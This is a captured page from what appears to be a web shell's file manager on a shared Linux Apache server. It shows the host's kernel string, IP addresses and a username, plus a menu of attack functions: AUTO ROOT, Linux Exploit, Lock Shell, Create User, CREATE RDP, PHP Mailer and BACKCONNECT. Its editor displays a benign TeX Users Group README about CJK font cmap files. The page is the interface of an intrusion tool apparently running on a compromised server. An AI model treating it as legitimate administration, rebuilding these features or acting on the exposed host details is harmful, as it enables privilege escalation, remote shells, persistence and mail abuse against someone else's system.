Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
texlive /
texmf-dist /
fonts /
cmap /
dvipdfmx /
[ HOME SHELL ]
Name
Size
Permission
Action
EUC-UCS2
99.36
KB
-rw-r--r--
README
888
B
-rw-r--r--
UTF8-UCS2
25.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README
Copyright 2008 TeX Users Group. You may freely use, modify and/or distribute this file. These files are about dealing with the ToUnicode feature for CJK fonts. They were created by Jin-Hwan Cho for (e.g.) dvipdfmx: EUC-UCS2: can be used for ToUnicode cmap from EUC -> UCS2. UniKSCms-UCS2-H(V): supplements Adobe's UniKS-UCS2-H(V), which miss some symbols. UTF8-UCS2: from http://project.ktug.or.kr/dvipdfmx/sample/misc/UTF8-UCS2, The file is important to have right bookmarks in uplatex + dvipdfmx. Background (from ChoF): KSC stands for "Korean Standard Characters". The very popular encoding of Korean characters is "KSC5601". It was extended to "KSX1001". Usually we say "EUC-KR" for this encoding. However, this encoding does not include full current Korean characters, so Microsoft made a new encoding "CP949". It is also called "KSCms" or "UHC" (Unified Hangul Characters) too.
Close